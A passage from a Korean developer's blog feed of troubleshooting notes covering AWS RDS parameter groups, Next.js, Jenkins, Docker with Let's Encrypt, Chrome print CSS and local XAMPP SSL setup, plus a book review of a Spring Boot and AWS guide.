위처럼 뽑아오니까 성능 개선이 대폭 되었다.

위에도 썻다시피, join 걸려있는것도 없는데 단순 select 문이 이렇게 느릴수도 있구나,
단순히 키값 걸었다고 무조건 빠르지 않다는것도 , TINYINT 데이터 형식의 1,0 만 들어가있는 컬럼을 찾는 WHERE 절 조건을 빼고 안빼고 차이가 이렇게 크다는것도 느끼게되었다.

[AWS RDS] time_zone 설정하는 방법 (Feat. 파라미터 그룹)

월공 — Fri, 23 Jun 2023 08:35:55 +0900

db 시간이 9시간 느리다.
time_zone 이 달라서 그렇다.
아래 처럼 시간을 찍어보면 확인 할 수 있었다.

select now();

그냥 일반 리눅스 세팅 환경이었으면 db root 로 들어가서 SET GLOBAL 로 시간 고정하거나 타임존 바꾸면 그만이겠지만
AWS RDS 에서는 그렇게 되있지않다.

우선 RDS -> 데이터베이스 -> 사용중인 db -> 구성 탭

에서 내가 사용중인 파라미터 그룹을 확인 한다.

해당 이름에 맞는 파라미터 그룹을 찾아서 진입해서 time_zone 을 검색해본다.

지금이야 이미 추가해놔서 저렇게 보이는데
이름, 값, 허용된 값 등등 이렇게 쭉 나오고있는데 나는 "값" 부분이 그냥 비워져있었다

그래서 "파라미터 편집" 에서 Asia/Seoul 로 선택하고 저장을 해주었다.

이러면 끝인데, DB 인스턴스를 재시작 해줘야한다.

RDS 에서 지금 testDB 랑 real DB 인스턴스 두개가 현재 구동중에 있는데 , real 은 당연히 평일에 재시작 하긴 어렵고 주말에나 생각하고
testDB 부터 재시작을 바로 했는데 신기하게도 real 쪽 시간도 Asia/Seoul 에 맞게 조정이 되있었다 ;

왜이런건지는 모르겠다..

[AWS] RDS mariaDB 인스턴스 복사 후 이상 증상 해결 방법 (INSERT 문제)

월공 — Tue, 13 Jun 2023 23:40:32 +0900

RDS 인스턴스 복사후 이상증상은 아주 여러가지가 있을 수 있지만 내 경우엔 INSERT 가 제대로 되지않는 문제가 있었다.
~~결국 RDS 파라미터 그룹 문제였다.~~
왜 이런일이 발생하였는지 , 원인 및 분석한 부분을 쭉 포스팅 하려고한다.

현재 내가 관리하는 AWS RDS 에 두개의 DB 인스턴스가 가동중에 있다.

1. 실 DB
2. 테스트 DB

실DB랑 테스트 DB랑 서로 데이터 갭 차이가 너무 많이나서 동기화를 하고자하였다.
1 번의 스냅샷을 2번으로 덮어씌우고싶었으나 , 덮어씌우는 방법은 안되는듯하고
1번의 스냅샷을 테스트 DB_1 라고 인스턴스 명을 겹치지않게 조정하여 진행하였고
기존에 있던 2 번을 테스트 DB_2 로 바꾸고, 방금 만들어진 테스트 DB_1 를 다시 테스트 DB 로 바꿔서 굳이 개발환경에
DB 호스트를 바꾸지않아도 되게끔 하였다 (이렇게 해도 되는건진 모르겠음 .. 일단 문제는 없더라)

문제는 복사하고나서, 발생하였다
DB 연결에는 이상이 없었으나 INSERT 가 제대로 되지않는 문제가 발생
아래와 같은 에러를 계속 내뱉었다.

doesn't have a default value

당연히 스냅샷을 그대로 복원한거라 그대로 복사될거라 생각했는데 순간 당황하였다.
해당 에러를 살펴보니 값이 없다는뜻이어서 빈값으로라도 넣어줘야하나 하고 생각했는데 순간 이상하다는 생각이 들었다.
실DB 에서는 NULL 허용이 되지않는 컬럼에 값이 없다고 튕기지 않는데 복사한 테스트DB 에서는 에러를 내뱉는게 이해가 가지않았다.

DB 설정이 다르구나 ! 라고 생각이 들었고 검색 해본 결과 NULL 허용이 되지않는 컬럼이 있어도 값이 없으면 공백으로 들어가게 해주는 옵션이 있다는걸 알게됐다
바로 'sql_mode' 라는 녀석

아래 명령어로 확인이 가능하다.

SELECT @@sql_mode;

#복제한 db 옵션
sql_mode : NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION

#실서버 db 옵션
sql_mode : STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

위 처럼 달랐고, 테스트 DB 에서도 sql_mode 를 변경하고자 root 계정으로 들어가서 설정을 바꿔보려고 온갖 생쇼를 했는데 이게 잘 안됐다.
SUPER 권한이 없어서 안된다더니, SUPER 권한을 가져올라해도 권한이 없다고 안됐다.
아니 root 한테 권한이 없으면 누구한테 있어 ..? 라는 생각을 했는데

생각해보니 AWS RDS 라는것을 다시금 깨달았고, LightSail에서의 방화벽 설정을 aws 웹사이트에서 하듯이
RDS 의 설정도 aws 웹에서 조정하는거 아닐까 하고 찾아봤더니 역시나 ...

Amazon RDS - 파라미터 그룹 에서 편집이 가능하다는것을 알게되었고,

애초에 스냅샷을 복원하고나서 인스턴스 수정창에 진입하여 'DB 파라미터 그룹' 을 실DB가 쓰고있는 그룹으로 조정해줬으면 진즉에 깔끔하게 끝났을 일이었다.

역시 무식하면 손발이 고생한다.

여튼 이렇게 파라미터 그룹을 조정해주고나서 DB 인스턴스 재부팅은 필수,

재부팅하고나서 정상적으로 값이 INSERT 되는것을 확인 할 수 있었다.

약간의 삽질로 인하여 AWS 에 대해서 또 하나 알아가는 날이었다..

[Next.js] middleware.ts 추가시 에러났을때 해결 방법

월공 — Thu, 1 Jun 2023 08:37:18 +0900

Next.js 에서 middleware.ts 파일을 추가하였는데 아래와 같은 에러가 발생

Module parse failed: Identifier 'NextResponse' has already been declared

위치는 그냥 / 에 넣어둠

api 폴더에도 넣어보고 별의별 난리를 다 쳐봤으나 절대 안됌

chatGPT 에 물어봐도 자꾸 api 폴더에 넣으라는 뚱딴지 같은 소리만 하고있음

결론은 Next 버전 다운그레이드 하고 해결.

1. node_modules 폴더 삭제
2. package.json 에 있는 next 13.4.3 으로 변경 (기존에 13.4.4 였음)
3. 다시 npm install

이렇게 하니 정상적으로 잘 작동 되는것 확인하였다.

[Jenkins] 기존 등록된 서버 IP 변경시 배포 오류 해결방법

월공 — Fri, 19 May 2023 23:09:59 +0900

AWS 인스턴스 사양을 업그레이드 하면서 IP 주소가 바뀌어버려가지고 , 기존에 젠킨스에 자동배포 잘되던게 정상적으로 되지않는 문제가 발생하였다.

탄력적 IP 로 고정 되있을줄 알았는데 제대로 확인하지 않은 탓이다.
실서비스중인 AWS EC2 인스턴스가 3개가 있는데 하나만 탄력 IP 로 등록되있고 나머지 2개는 안되있더라 -_- ;;

젠킨스의 Console Output 중 발췌

2 대의 서버에선 정상적으로 처리가 되었는데 , 나머지 1대에서 배포에 문제가 생겨 UNSTABLE 이 발생
바뀐 IP 로 바꿔주자

Jenkins > Dashboard > Jenkins 관리 > Configure System 에 진입해서 아래로 쭈욱 내리면 내 젠킨스를 이용하여 배포하는 서버들 ssh 정보들이 쭈욱 있는데 거기서 바뀐 IP 주소대로 바꿔줘야한다.

Hostname 변경후 "Test Configuration" 정상적으로 Success 뜨는것 확인하고 저장

젠킨스 쪽에서의 설정은 끝났고 이제 마지막으로 젠킨스 서버상에서 바뀐 IP 의 방화벽을 추가해줘야한다.
이유는 모르겠지만 현재 젠킨스가 Lightsail 에서 구동중이어서 방화벽은 쉽게 추가할수 있었다
(Lightsail 재시작 할 필요없음)

이렇게 해주니 이제 더이상 배포를 진행할때 UNSTABLE이 뜨지않는것이 확인되었다~!

[Docker] apache-php 컨테이너에서 https 연결하기 feat.Let's Encrypt

월공 — Fri, 7 Apr 2023 23:13:42 +0900

환경 : 호스트 Centos 7 , Docker 컨테이너 (apache-php) , let's encrypt (SSL)

let's encrypt 설치는 이미 잘 정리되어있는 블로그 글들이 많아서 굳이 기재하지 않겠습니다.
제가 포스팅했던 적도 있어서 링크만 걸어놓을게요
제목은 centos8 이라 되있지만 7에서도 잘됩니다.

https://bug41.tistory.com/entry/SSL-Lets-Encrypt-SSL-%EC%9D%B8%EC%A6%9D%EC%84%9C-%EC%84%A4%EC%B9%98-Centos8-crontab

[SSL] Let's Encrypt SSL 인증서 설치 Centos8 , crontab

센토스8 에서 홈페이지 https 를 위한 Let's Encrypt 설치 방법 간단하게 포스팅합니다. Let's Encrypt 설치 sudo dnf install epel-release 혹시 아래처럼 오류 뜨면서 안되면 Failed to set locale, defaulting to C.UTF-8 CentO

bug41.tistory.com

let's encrypt 가 잘 설치 되었다는 가정하에 진행합니다.

# 내가 원하는 도메인에 let's encrypt 발급, www 붙은거랑 안붙은거 동시에 발급
certbot --apache -d baam82.kr -d www.baam82.kr

정상적으로 진행이 되었다면 아래처럼 비스무리하게 보일겁니다.

[root@tw-web ipsets]# certbot --apache -d baam82.kr -d www.baam82.kr
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Plugins selected: Authenticator apache, Installer apache
Starting new HTTPS connection (1): acme-v02.api.letsencrypt.org

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
You have an existing certificate that contains a portion of the domains you
requested (ref: /etc/letsencrypt/renewal/baam82.kr.conf)

It contains these names: baam82.kr

You requested these names for the new certificate: baam82.kr, www.baam82.kr.

Do you want to expand and replace this existing certificate with the new
certificate?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(E)xpand/(C)ancel: E
Renewing an existing certificate for baam82.kr and www.baam82.kr
Performing the following challenges:
http-01 challenge for baam82.kr
http-01 challenge for www.baam82.kr
Waiting for verification...
Cleaning up challenges
Deploying Certificate to VirtualHost /etc/httpd/conf/httpd-le-ssl.conf
Deploying Certificate to VirtualHost /etc/httpd/conf/httpd-le-ssl.conf
Redirecting vhost in /etc/httpd/conf/httpd.conf to ssl vhost in /etc/httpd/conf/httpd-le-ssl.conf

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Your existing certificate has been successfully renewed, and the new certificate
has been installed.

The new certificate covers the following domains: https://baam82.kr and
https://www.baam82.kr
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/baam82.kr/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/baam82.kr/privkey.pem
   Your certificate will expire on 2023-07-02. To obtain a new or
   tweaked version of this certificate in the future, simply run
   certbot again with the "certonly" option. To non-interactively
   renew *all* of your certificates, run "certbot renew"
 - If you like Certbot, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le

 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/baam82.kr/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/baam82.kr/privkey.pem

일단 다른거 다 필요없고 정상적으로 발급되었다고 하면 맨 하단에 내 인증서 깔린 경로가 중요합니다.
왜냐면 저 부분을 도커 컨테이너 생성할때 마운트 시켜줄거거든요

이제 아래처럼 apache-php 이미지를 이용하여 도커 컨테이너를 생성해줄건데 명령어가 복잡해보이지만 굳이 필요하지않은게 몇개 있어서 --restart="always" 라던가 --privileged 는 굳이 필요없을거에요
차례대로 살펴보자면

docker run --restart="always" -itd --privileged -p 80:80 -p 443:443 --network mynet \
-v /var/www/html/baam82:/var/www/html \
-v /etc/letsencrypt/archive/baam82.kr:/etc/ssl \
 --name baam82 php:7.4-apache

-p 80:80 응 호스트 80으로 들어오는거 도커 80으로 보낼게~
-p 443:443 응 호스트 443 으로 들어오면 도커 443 으로 보낼게 ~

--network mynet 이것도 굳이 필요없으실건데 제 경우엔 mariaDB 컨테이너가 별도로 운영중이어서 이놈을 고정 IP 로 쓰려고 docker network 를 하나 만들어놓은게 있어서 컨테이너끼리 연결 편하게 하려고 같은 network 로 잡아서 생성을 했습니다.

-v [호스트경로]:[도커 경로]

/var/www/html 경로 마운트 잡는건 그렇다쳐도 letsencrypt 경로 부분에서 좀 의아하실건데 분명히 위에서 제가 언급한
중요하다고 언급했던 경로는 아래와 같습니다.
/etc/letsencrypt/live/baam82.kr/fullchain.pem
/etc/letsencrypt/live/baam82.kr/privkey.pem

근데 정작 컨테이너 실행시킬때는 "/etc/letsencrypt/archive" 로 마운트를 걸었습니다.

이 부분은 처음에 제가 삽질을 좀 했던 부분인데 호스트 서버에서
vi /etc/letsencrypt/live/baam82.kr/fullchain.pem 요런식으로 열면 잘 열리고, 근데 정작 만들었던 컨테이너에서 vi 를 때리면 못찾아갑니다
그래서 자세히 살펴보니 심볼릭링크로 ../../archive 에 있는걸 갖고가길래 archive 에 있는 원본쪽으로 마운트 시켜주니
잘 찾아갔습니다.

#테스트 한답시고 여러번 재발급받아서 뒤에 2가 붙은듯합니다. 별로 중요한건 아님
lrwxrwxrwx 1 root root  33 Apr  3 21:51 cert.pem -> ../../archive/baam82.kr/cert2.pem
lrwxrwxrwx 1 root root  34 Apr  3 21:51 chain.pem -> ../../archive/baam82.kr/chain2.pem
lrwxrwxrwx 1 root root  38 Apr  3 21:51 fullchain.pem -> ../../archive/baam82.kr/fullchain2.pem
lrwxrwxrwx 1 root root  36 Apr  3 21:51 privkey.pem -> ../../archive/baam82.kr/privkey2.pem

여튼 저대로 컨테이너가 정상적으로 만들어졌다면

docker ps -a

아래처럼 보일겁니다.

이제 아래 명령어로 도커 컨테이너에 접속해서 몇가지 조정을 해줍니다.

# docker 컨테이너 접속
docker exec -it baam82 /bin/bash

# 이것저것 세팅에 필요한거 설치
# apache.conf 수정할때 vim 필요
# db 연결 안하시면 docker-php-ext-install mysqli 는 굳이 필요없음

apt-get update && apt-get install -y vim && docker-php-ext-install mysqli

/var/www/html 마운트 정상

/etc/ssl 마운트 정상

해당 apache-php 의 아파치 설정 config 파일은 경로가 아래와 같습니다.

#httpd.conf 인줄 알았으나 아님
vi /etc/apache2/apache2.conf

#VirtualHost 세팅은 아래에서 
vi /etc/apache2/sites-available/000-default.conf

apache2.conf 에서는 별다른 수정사항은 없었습니다
그냥 serverName 추가

핵심은 000-default.conf (보통 사이트이름.conf 로 하는듯, 대신 apache2.conf 에서 정상적으로 포함되게 해줘야겠죠)

<VirtualHost *:80>
    ServerName www.baam82.kr
    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html
    Redirect "/" "https://baam82.kr/"
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:443>
    ServerName baam82.kr
    SSLEngine On
    SSLCertificateFile /etc/ssl/fullchain2.pem
    SSLCertificateKeyFile /etc/ssl/privkey2.pem    
</VirtualHost>

이렇게 다 수정하고 아래 명령어로 아파치 서버 재시작이 가능합니다.

#아파치 서버 재시작
apachectl restart

#아파치 서버 재시작
service apache2 restart

아래 처럼 정상적으로 http 로 접속을해도 apache2.conf 에서 Redirect 로 설정해준 덕분에 https 로 바로 보내줘서 잘열리는것이 확인 되었습니다.

사실 정리하고나니 별거 아닌데 여기까지 오기까지 시행착오를 좀 겪었습니다.

1. 호스트 서버에도 apache 가 필요할줄알았는데 전혀 아니었음, 도커 아파치 컨테이너만으로도 충분히 가능

2. apache 컨테이너 랑 php 컨테이너 별도로 진행 하고 같은 network 에 올려서 ProxyPassMatch 어쩌고 작업을 하려했는데 여러번 삽질하다 실패 , 그냥 apache 컨테이너에 php 깔아서 진행하거나 , php:7.4-apache 공식 이미지 사용하는게 정신건강에 이로움

3. certbot 실행했을때 방화벽 때문에 정상적으로 인증서 발급이 되지않는 문제도 있었고 알고보니 예전에 해외 ip 접근 차단한 rich-rules 때문에 그랬음. ( /etc/firewalld/ipset 안에 있음 )
방화벽 잠깐 내리고 재발급 완료

4. SSL 모듈 안깔려있어서 오류 발생 아래 명령어로 SSL 확인 및 설치 가능

# SSL 모듈 깔려있는지 확인
apachectl -M | grep ssl

# SSL 모듈 안깔려있으면 설치 명령어
a2enmod ssl

사실 위에서 진행한 apache-php 컨테이너에 접근해서 이것저것 명령어 칠 필요없이 docker-compose 를 이용해서 한번에 끝낼수 있을듯합니다.
그리고 let's encrypt 는 3개월마다 갱신을 해줘야하니 crontab 을 이용해서 자동갱신을 해줘야겠지요 ~!

[책] 스프링 부트와 AWS로 혼자 구현하는 웹 서비스 를 마치고~!!

월공 — Sat, 4 Feb 2023 21:18:10 +0900

작년 12월 말에 서점 들렀다가 마음에 들어서 샀던 "스프링 부트와 AWS로 혼자 구현하는 웹 서비스" 책
처음에 저자 성함이 낯이 익어서 어디서 많이 봤다 싶었는데
구독중인 유튜브 채널중에 개발바닥에 늘 자주 나오시는 "향로" 님이셨습니다.

우선 결론부터 말하자면 이 책 무조건 추천드립니다~!
가격은 만원 후반대입니다 !

이 책을 보게 된 이유는 간단합니다.
"스프링부트를 잘 몰라서"
물론 현업 실무에 있으면서 운좋게 리액트와 스프링부트로 구성된 프로젝트를 잠깐 유지보수를 했던적이 있는데 그거와는 별개로 복습겸 다시 봐보고싶었고 또 단순히 스프링부트 뿐이 아니라 aws에 이어서 CI/CD 경험까지 해볼수 있는 책이라 하여 메리트가 느껴져서 보게됐습니다.

대략 7~8년전에 국비지원으로 자바를 이수했었지만, 희극인지 비극인지 -_- ASP 회사를 들어가게 되면서 JSP , java 와는 점점 거리가 멀어졌었는데,
ASP 를 시작으로 계속 이직을하면서 지금은 PHP 를 중점적으로 보고있긴 하다만.. 아직까지도 우리나라에 규모가 있는 IT 회사는 대부분 자바를 쓰기에 , 몸값 욕심이 생겨서 더이상 자바를 모른체할순없겠다 생각이 들어서 본것도 있네요

책에 오타도 있고 누락된 코드부분도 존재하긴 하다만, 완전 초보가 아닌이상 그래도 어느정도 유추를 할수 있으며
완전 초보라 하더라도,
향로님이 올려주신 해당 서적에서 다루는 프로젝트의 소스가 아래 깃허브에 올라가있으며, 이슈부분에 해당 페이지로 검색하거나 오류문구로 검색을하면 해결할수 있는 부분들이 대부분이었습니다.

https://github.com/jojoldu/freelec-springboot2-webservice

GitHub - jojoldu/freelec-springboot2-webservice

Contribute to jojoldu/freelec-springboot2-webservice development by creating an account on GitHub.

github.com

책에 설명이 상세하게 잘되어있어서 어려웠던 부분은 없었고, 다만 travis 를 사용할때 이젠 정책이 바뀌었는지 결제카드를 무조건 등록을 해야했었고 , 공짜 요금제(plan) 을 선택하더라도 1달러를 뽑아가네요 !

카드를 등록했는데도 계속 빨간 문구로 plan 선택하라고 뜨면서 build 가 안되길래 이 부분은 트래비스 고객센터 측에 메일 보내니까 금방 해결이 되었습니다. (물론 다음날)

짧은영어로 어째저째 문의도 보내보고 , 나름 좋은 경험이었어요
그래도 앞으로 이런 문의는 종종 보낼텐데 영어 교정은 해야하니 현재 미국에 있는
누나에게 컨펌을 받아보기로 합니다 ㅋㅋ
동생도 현재 누나랑 같이 미국에 있는데 이번에 무슨 해커톤 1등 했다고 어쩌고 하네요 (깨알 동생자랑)

라고 하네요.
역시 든든하다 우리 남매 ~

여튼 travis 관련 부분은 금방 해결이 되었습니다.

근데 문제가 하나 더.. 요번에 해당 서적을 보면서 만들었던 아마존 계정의 요금이 청구가 되었는데 무려 1월달치로 42만원 가량이 청구가 되었습니다.
2/3일에 청구가된다고하는데 정확히 어제죠.. 모처럼 토요일 아침이니 좀 더 자볼까 하고 휴대폰 확인하다가 갑자기 신용카드에 42만원 결제되었다고 하길래 눈이 번쩍 뜨이면서 이게 뭔 상황인가 하고 봤더니 ..

23년 1월에 419,868 KRW
23년 2월 (현재까지) 97,893 KRW
아니.. 2월은 이제 3일 되었는데 10만원이 청구가된다고 ..?

아마존 요금 청구되어서 환불받았다는거 건너건너 듣기야 했지 제가 해당이 될줄은 몰랐습니다 ㅎ
다행히도 상업적 서비스가 아닌 공부용으로 썻었다 라고 문의를 하면 1회정도는 봐준다 뭐 얘기를 들었던지라
aws 에 문의를 넣은 상태고 현재 답변은 받았습니다.

도와줄수 있을거같고, 사용중인 서비스들은 모조리 종료해라 라고 메일이 회신왔네요
요금 조정해줄테니 다른 요금제를 써라 라고 추천하는 뉘앙스인뎈ㅋ
이번에 한번 데이니 무서워서 아예 서비스 다 종료시키고 aws 계정 탈퇴하려고 합니다...

여튼 잡담이 너무 길었는데!
Github 에 푸시할시 CI/CD 로 배포 , 그리고 무중단 배포까지 경험을 해볼수있는 책이었습니다.
전반적인 서비스를 경험할수있어서 풀스택을 추구하는 제겐 너무나도 메리트있게 다가온 책이었고 향로님 진짜 대단하신듯해요!
이런 좋은 책 써주셔서 정말 감사합니다 !

아 그리고 환불처리 관련해서는 결과 나오면 나오는대로 내용 더 덧붙혀서 수정하겠습니다 ㅎㅎ;

23.02.10 내용추가
환불 받았습니다.
내용이 길어져서 환불방법에 대해서는 네이버 블로그에 기재합니다.
https://blog.naver.com/bugkingus/223011092468

https://github.com/bug41/freelec-springboot2-webservice

GitHub - bug41/freelec-springboot2-webservice: 스프링부트 테스트

스프링부트 테스트. Contribute to bug41/freelec-springboot2-webservice development by creating an account on GitHub.

github.com

[CSS] Chrome 108 업데이트 이후 프린트 미리보기 인쇄 이슈 해결방법

월공 — Thu, 12 Jan 2023 14:18:24 +0900

크롬 108 업데이트 이후 인쇄 미리보기 화면에서부터 css 박살나는 화면 목격
정확히는 테이블에서 rowspan 이 이상하게 보이고, 이미지도 중첩되어서 보이는둥 그런식으로 보임

샘플 이미지는 아래와 같다
각각 다른 이미지임

그냥 아래와 같이 다른거 다 빼버리고 심플하게 이미지 보여주는 html 페이지 있다고 치자

<!DOCTYPE html>
<html lang="ko">
    <head>
        <meta charset="UTF-8">
        <title>프린트 테스트</title>
    </head>
    <body>
        <p>이 문서는 HTML 문서입니다.</p>
        <img src="./230109110926_7963.jpg"/>
        <img src="./230109110926_9264.jpg"/>

    </body>
</html>

아래는 실행시켰을때의 페이지 화면

근데 해당 페이지에서 크롬에서 인쇄를 하려고 미리보기에서 보면 아래처럼 보인다.
긴 이미지에 고양이가 껴서 들어감
중첩되서 보임

스샷을 찍어놓진 않았으나 테이블 rowspan 에서도 다깨지고 늘어져보이는걸 확인 할 수 있었다.
해결방법은 아래처럼 body 에 contain: size 추가

<style>
    body{
        contain: size; 
    }    
</style>

body 에 추가 하고나니 아래처럼 정상적으로 보이는것을 확인 할 수 있었다.

테이블 rowspan 에서도 동일

108 업데이트 이후 뭐가 바꼈는진 모르겠다만 ..
그래도 금방 해결이되서 다행이다.

혹시 다른 css 에 어떤 영향을 끼칠지 찜찜하니 미디어 프린터에서만 나오게 하는것도 한 방법일듯하다.

[XAMPP] 로컬 SSL 인증서, https 적용하기

월공 — Wed, 28 Dec 2022 09:53:46 +0900

환경 XAMPP ( Apache + PHP + Mysql)

xampp 설치된 경로 필요 (기본값이면 대부분 C:\xampp\ 에 위치)
정 모르겠으면 아래처럼 Apache - Config 눌러서 나오는 conf 아무거나 들어가서 경로 확인하면됨

중점적으로 수정되는 파일은 아래와 같음

C:\xampp\apache\conf\extra\httpd-vhosts.conf
C:\xampp\apache\conf\extra\httpd-xampp.conf

C:\xampp\apache 진입 후 crt 라는 폴더 생성하고 안에 아래 두 파일 넣기

혹시 다운 안될때를 대비하여 코드 첨부.

make-cert.bat 파일 내용

@echo off
set /p domain="Enter Domain: "
set OPENSSL_CONF=../conf/openssl.cnf

if not exist .\%domain% mkdir .\%domain%

..\bin\openssl req -config cert.conf -new -sha256 -newkey rsa:2048 -nodes -keyout %domain%\server.key -x509 -days 3650 -out %domain%\server.crt

echo.
echo -----
echo The certificate was provided.
echo.
pause

cert.conf 파일 내용

[ req ]

default_bits        = 2048
default_keyfile     = server-key.pem
distinguished_name  = subject
req_extensions      = req_ext
x509_extensions     = x509_ext
string_mask         = utf8only

[ subject ]

countryName                 = Country Name (2 letter code)
countryName_default         = US

stateOrProvinceName         = State or Province Name (full name)
stateOrProvinceName_default = NY

localityName                = Locality Name (eg, city)
localityName_default        = New York

organizationName            = Organization Name (eg, company)
organizationName_default    = Example, LLC

commonName                  = Common Name (e.g. server FQDN or YOUR name)
commonName_default          = {{도메인 들어간다}}

emailAddress                = Email Address
emailAddress_default        = test@example.com

[ x509_ext ]

subjectKeyIdentifier   = hash
authorityKeyIdentifier = keyid,issuer

basicConstraints       = CA:FALSE
keyUsage               = digitalSignature, keyEncipherment
subjectAltName         = @alternate_names
nsComment              = "OpenSSL Generated Certificate"

[ req_ext ]

subjectKeyIdentifier = hash

basicConstraints     = CA:FALSE
keyUsage             = digitalSignature, keyEncipherment
subjectAltName       = @alternate_names
nsComment            = "OpenSSL Generated Certificate"

[ alternate_names ]

DNS.1       = {{도메인 들어간다}}

넣고나서 cert.conf 파일에 저 두곳은 내가 원하는 로컬 도메인으로 조정해줘야함

그러고 make-cert 파일 실행해서 Domain 은 cert.conf 에 입력했던거 그대로 입력 하고 나머지는 그냥 Enter 치고 넘겨도 무방

다 실행되고 나면 아래처럼 폴더가 띡 하고 생김

방금 생긴 폴더에 들어가면 , server 랑 server.key 파일 두개가 보일텐데 그중에 인증서 처럼생긴 아이콘의 server 라는 파일 실행

"인증서 설치" 버튼 클릭

저장소 위치 "로컬 컴퓨터" 선택

"모든 인증서를 다음 저장소에 저장" - 신뢰할 수 있는 루트 인증 기관

마침을 누르고 가져오기 완료되었다는 창 까지 뜨면 끝

그리고 이 부분은 전에도 포스팅 했었는데 다시 한번 복습삼아 첨부하자면 hosts 파일에다가 링크 넣는부분
수정하는 파일 : C:\Windows\System32\drivers\etc\hosts (메모장 등 관리자 권한으로 실행후 수정 가능)
방금 내가 발급 받았던 로컬 도메인 기입 , 이미 해놨으면 할 필요없음

httpd-xampp.conf 파일 내용추가

  # bug41.tw
 <VirtualHost *:80>
     DocumentRoot "C:\web_developer\myProject"
     ServerName bug41.tw
     ServerAlias *.bug41.tw
 </VirtualHost>

 <VirtualHost *:443>
     DocumentRoot "C:\web_developer\myProject"
     ServerName bug41.tw
     ServerAlias *.bug41.tw
     SSLEngine on
     SSLCertificateFile "crt/bug41.tw/server.crt"
     SSLCertificateKeyFile "crt/bug41.tw/server.key"
 </VirtualHost> 
 # bug41.tw

여기까지 했으면 이제 xampp 가서 apache 재시작 하고나서 https://bug41.tw로 접속 하면 아래처럼 인증서가 발급되어서 https 로 보안 연결이 된것을 확인 할 수 있다. (/home 은 내 개인 프로젝트 특성상 리다이렉트 된거라 무시)

마지막으로 http 들어갔을때도 무조건 https 로 강제 리다이렉트를 하고싶다면 httpd-vhosts.conf 쪽을 아래처럼 내용을 기입해주면 된다.
80 포트로 오는거에 있어서 무조건 https 로 Rewrite 를 하는 구문을 추가해주면 됨

<VirtualHost *:80>
    #ServerAdmin test@email.com
    DocumentRoot "C:\web_developer\myProject"
    ServerName bug41.tw
    DirectoryIndex index.php
    #ErrorLog "logs/dummy-host.example.com-error.log"
    #CustomLog "logs/dummy-host.example.com-access.log" common    
	
    RewriteEngine On
    RewriteCond %{SERVER_NAME} =bug41.tw
    RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]
</VirtualHost>

사실 위 내용 대부분 아래 링크에서 참고했던것이고 , 다른곳에서 로컬 ssl 발급받는거 다 해봤는데 다 실패하고 안됐다가 유일하게 여기가 되갖고 까먹지 않고자 복습겸 메모삼아 기록해둔다.
답변 작성자 Mahdi Bashirpour 님에게 무한감사를 ..

출처 사이트
https://stackoverflow.com/questions/64800565/how-to-create-valid-ssl-in-localhost-for-xampp

[Docker] 도커 실행 실패, Failed to start Docker Application ...

월공 — Mon, 19 Dec 2022 20:26:13 +0900

# 도커 실행시 아래와 같은 에러 지속 발생 
Job for docker.service failed because start of the service was attempted too often. See "systemctl status docker.service" and "journalctl -xe" for details.
To force a start use "systemctl reset-failed docker.service" followed by "systemctl start docker.service" again.

이거 때문에 도커 재설치도 해보고 온갖 생쇼를 다해봤는데 결국은 iptables stop 시키고 firewalld 재실행하니까 해결되었다 -_- ;

Dec 19 20:08:01 tw-web firewalld[2736960]: ERROR: '/usr/sbin/iptables-restore -w -n' failed: iptables-restore v1.4.21: goto 'FWDI_docker' is not a chain

                                           Error occurred at line: 2
                                           Try `iptables-restore -h' or 'iptables-restore --help' for more information.
Dec 19 20:08:01 tw-web firewalld[2736960]: ERROR: '/usr/sbin/ip6tables-restore -w -n' failed: ip6tables-restore v1.4.21: goto 'FWDI_docker' is not a chain

                                           Error occurred at line: 2
                                           Try `ip6tables-restore -h' or 'ip6tables-restore --help' for more information.
Dec 19 20:08:01 tw-web firewalld[2736960]: ERROR: COMMAND_FAILED: '/usr/sbin/ip6tables-restore -w -n' failed: ip6tables-restore v1.4.21: goto 'FWDI_docker' is not a chain

                                           Error occurred at line: 2
                                           Try `ip6tables-restore -h' or 'ip6tables-restore --help' for more information.

근데 또 이거랑 별개로 docker 가 정상적으로 active 되었다고 나오긴 하는데..

docker ps -a

위와같이 현재 컨테이너들을 확인하려는 명령어를 치면 자꾸 아래와 같은 에러문구가 떳다.

Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

ㅋㅋㅋ 진짜 나한테 왜이러냐..

여튼 이거는 뭘 해도 자꾸 docker 는 정상적으로 실행되고 있다고 뜨는데 계속 같은 에러만 떠서

다시 한번 도커를 삭제하고 재 설치하니까 이제서야 됐다..

docker 삭제 및 재설치는 아래 포스팅에서 확인할수있다.
https://bug41.tistory.com/entry/Docker-Centos-%EC%97%90%EC%84%9C-Docker-%EC%99%84%EC%A0%84%ED%9E%88-%EC%82%AD%EC%A0%9C

아니 갑자기 잘되다가 왜 이런 문제에 봉착했는지 거참 ..
내가 볼땐 컨테이너 생성하면서 브릿지 설정하면서 iptables 쪽이 꼬이면서 docker 가 뻑난거같은데
정확한 이유는 사실 모르겠다 ..

[Window+Apache] 로컬 커스텀도메인 설정 방법 , localhost customDomain

월공 — Thu, 1 Dec 2022 14:01:29 +0900

로컬에서 작업중인 프로젝트에 커스텀 도메인 넣어서 하는법을 포스팅 한다.
아파치 같은 웹서버가 깔려있다는 가정하에 진행한다.

